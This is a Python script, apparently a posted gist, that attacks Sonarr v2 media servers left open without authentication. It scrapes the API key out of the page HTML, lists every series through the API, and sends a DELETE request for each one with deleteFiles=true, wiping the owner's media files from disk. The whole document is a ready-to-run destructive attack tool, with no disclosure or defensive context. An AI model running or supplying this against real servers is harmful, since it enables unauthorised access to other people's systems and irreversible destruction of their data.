Basic script to delete all shows from a Sonarr v2 server if the service is left open without any authentication

sonarr_delete.py

#!/usr/bin/env python3

import requests
import re
import json
from optparse import OptionParser


def get_api_key(url):
    # Make a request to url's root site
    r = requests.get(url)
    if r.status_code != requests.codes.ok:
        print ("There was an error connecting to the URL")
        exit()

    # Grab the API key from the html (example below)
    #     <script type="text/javascript">
    #     window.NzbDrone = {
    #         ApiRoot    : '/api',
    #         ApiKey     : '7b61f506eccf4aed89759586fd900e87',
    #         Version    : '2.0.0.5344',
    #         Branch     : 'master',
    #         Analytics  : false,
    #         UrlBase    : '',
    #         Production : true
    #     };
    # </script>
    m = re.search('ApiKey\s*:\s*\\\'([0-9a-f]*)\\\'', r.text, re.M|re.I)
    
    api_key = m.group(1)

    if not api_key:
        print("There was an error parsing the API key")
        exit()

    return api_key

def get_show_ids(url, api_key):
    show_ids = []

    # get /api/series
    r = requests.get(url + '/api/series', headers={"X-Api-Key": api_key})
    if r.status_code != requests.codes.ok:
        print ("There was an error connecting to the API")
        exit()
    
    # Parse JSON to get all the 'id' values of the shows
    data = json.loads(r.text)

    for show in data:
        show_ids.append(show['id'])

    return show_ids

def delete_show(url, api_key, id):
    # /api/series/#?deleteFiles=true
    # Method: DELETE
    r = requests.delete(url + f'/api/series/{id}?deleteFiles=true', headers={"X-Api-Key": api_key})
    if r.status_code != requests.codes.ok:
        print (f"There was an error deleting show id {id}")
        exit()

if __name__ == "__main__":

    parser = OptionParser()
    parser.add_option("-u", "--url", action="store", type="string", dest="base_url", help="Base URL of Sonarr site (eg. http://1.2.3.4:8081)")
    
    (options, args) = parser.parse_args()

    if not options.base_url:
        parser.error("URL not provided")
    
    print(f"Base URL: {options.base_url}")

    api_key = get_api_key(options.base_url)
    print(f"[-] API Key: {api_key}")

    print("Getting shows...")
    show_ids = get_show_ids(options.base_url, api_key)

    print(f"Found {len(show_ids)} shows.")

    print("Deleting shows...")
    for id in show_ids:
        delete_show(options.base_url, api_key, id)